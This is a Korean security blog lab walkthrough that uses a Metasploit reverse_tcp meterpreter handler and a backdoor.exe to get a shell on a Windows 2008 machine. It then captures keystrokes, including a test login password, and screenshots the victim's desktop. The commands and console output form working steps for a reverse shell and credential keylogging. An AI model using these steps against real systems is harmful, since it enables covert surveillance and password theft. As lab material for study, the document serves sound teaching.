본문으로 바로가기

키보드 스니핑과 스크린샷

category Security/정보 수집 2017. 11. 11. 22:35

- 용어 

key logger


- 사용 시스템

KaliLinux

Windows 2008


- meterpreter의 getdesktop 명령어 

enumdesktops         접근 가능한 테스크톱과 윈도우 스테이션 전체 목록을 확인

getdesktop             현재 meterpreter 세션으로 작업하고 있는 사용자 시스템의 현재 테스크톱 확인

setdesktop             현재 meterpreter 세션 테스크톱에서 다른 데스크톱 스테이션으로 변경

keyscan_start     현재 작업 중인 스테이션에서 키보드 스니퍼(가로채기)를 시작

keyscan_stop     현재 작업 중인 스테이션에서 키보드 스니퍼(가로채기)를 종료

keyscan_dump     meterpreter 데스크톱 세션의 키보드 동작을 저장


- 윈도우 데스크톱 

  Session 0

|

+----- WinSta0(Interactive station)

| |

| +----- Default(desktop)         /* 모든 Application과 desktop에서 수행되는 작업들 */

| +----- Disconnect(desktop)         /* 스크린 세이버 잠금과 관련 */

| +----- Winlogon(desktop)         /* 윈도우 로그인 화면 */

|

+----- Service-0x0-3e7$(Non-interactive station)

| |

| +----- Default(desktop)

|

+----- Service-0x0-3e4$(Non-interactive station)

| |

| +----- Default(desktop)

|

+----- SAWinSta(Non-interactive station)

|

+----- Default(desktop)

=> 각 desktop은 각각의 키보드 버퍼를 가지고 있다.


-> 각종 ID와 PASS를 알아내기 위해서는 Default desktop을 스니핑 해야함


- 실습


(선행실습) http://5log.tistory.com/120

(kali)         reverse_resource2.rc 존재해야함 

(win2008)   backdoor.exe 존재해야함



현재 meterpreter가 Sessions/Winsta0/Default 설정되어 있는지 확인


(Kali)

# cd /root/bin 

# msfconsole -r reverse_resource2.rc

 

                                                  

# cowsay++

 ____________

< metasploit >

 ------------

       \   ,__,

        \  (oo)____

           (__)    )\

              ||--|| *



Taking notes in notepad? Have Metasploit Pro track & report

your progress and findings -- learn more on http://rapid7.com/metasploit


       =[ metasploit v4.14.10-dev                         ]

+ -- --=[ 1639 exploits - 944 auxiliary - 289 post        ]

+ -- --=[ 472 payloads - 40 encoders - 9 nops             ]

+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]


[*] Processing reverse_resource2.rc for ERB directives.

resource (reverse_resource2.rc)> use exploit/multi/handler

resource (reverse_resource2.rc)> set PAYLOAD windows/x64/meterpreter/reverse_tcp

PAYLOAD => windows/x64/meterpreter/reverse_tcp

resource (reverse_resource2.rc)> set LHOST 192.168.27.50

LHOST => 192.168.27.50

resource (reverse_resource2.rc)> set ExitSession false

ExitSession => false

resource (reverse_resource2.rc)> exploit -j -z

[*] Exploit running as background job.


[*] Started reverse TCP handler on 192.168.27.50:4444 

[*] Starting the payload handler...

msf exploit(handler) > sessions


Active sessions

===============


No active sessions.


 


(win2008)

backdoor 실행


(kali)

 

 msf exploit(handler) > 

[*] Sending stage (1189423 bytes) to 192.168.27.201

[*] Meterpreter session 1 opened (192.168.27.50:4444 -> 192.168.27.201:49160) at 2017-11-11 22:18:48 +0900


msf exploit(handler) > sessions


Active sessions

===============


  Id  Type                     Information                      Connection

  --  ----                     -----------                      ----------

  1   meterpreter x64/windows  WIN2008\Administrator @ WIN2008  192.168.27.50:4444 -> 192.168.27.201:49160 (192.168.27.201)


msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > help

Stdapi: User interface Commands
===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components

meterpreter > enumdesktops 
Enumerating all accessible desktops

Desktops
========

    Session  Station  Name
    -------  -------  ----
    1        WinSta0  Default
    1        WinSta0  Winlogon

meterpreter > getdesktop
Session 1\W\D
meterpreter > keyscan_start 
Starting the keystroke sniffer...
meterpreter > 

 

> enumdesktops 으로 확인합니다. 

window2008은 Default와 Winlogon만 있는것 같습니다. ( 실제 사용시 키로그 저장과 접속시 로그인할때 쓴느 키로그 저장공간)

화면잠금은 설정하지 않았기 때문에 Disconnect는 나타나지 않는다. 

> getdesktop  으로 자신의 위치 확인

Session 1\W\D - Sessions 1 의 Winsta0 의 Default에 있음을 나타냅니다. 


[참고] Default에 지정하기 

meterpreter > setdesktop


> keyscan을 시작한다. 


(win2008)

웹 브라우저에 접속하여 daum.net에서 로그인한다. 

> test /test123 으로 로그인



(kali)

 

 meterpreter > keyscan_dump 

Dumping captured keystrokes...

daum <Return> testtest <Back>  <Back>  <Back>  <Back>  <Back> test123

meterpreter > screenshot 
Screenshot saved to: /root/bin/jCJjduiv.jpeg

 

> 키보드로 입력된 것만 나온다. 

 > daum으로 쳐서 <Return> enter를 누르고 

 > testtest 쳤다가 몇번 지우고 비밀번호인 test123도 모두 확인 가능하다. 


/root/bin/jCJjduiv.jpeg 파일 확인

> 지금 win2008이 보고 있는 화면이 캡쳐되어 나타난다.